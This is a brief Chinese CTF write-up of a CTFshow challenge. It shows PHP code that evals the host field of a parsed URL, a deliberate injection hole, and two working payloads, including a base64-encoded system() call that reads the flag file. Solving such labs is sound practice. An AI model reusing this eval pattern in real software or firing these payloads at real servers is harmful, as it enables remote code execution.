CTFSHOW 周末大挑战

kode00 / 2023-05-16 / 原文

第一关

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

eval($data['host']);

这道题可以直接进行命令执行。

刚开始我的思路是用?u=aa://echo(`ls`);来进行命令执行,但是发现如果要读取根目录下的flag的话会被自动截断,导致命令无法正常执行。

看了官方wp后,发现可以base64来绕过出现 ls /被截断的情况。

payload:?u=aa://system(base64_decode('Y2F0IC9mKg=='));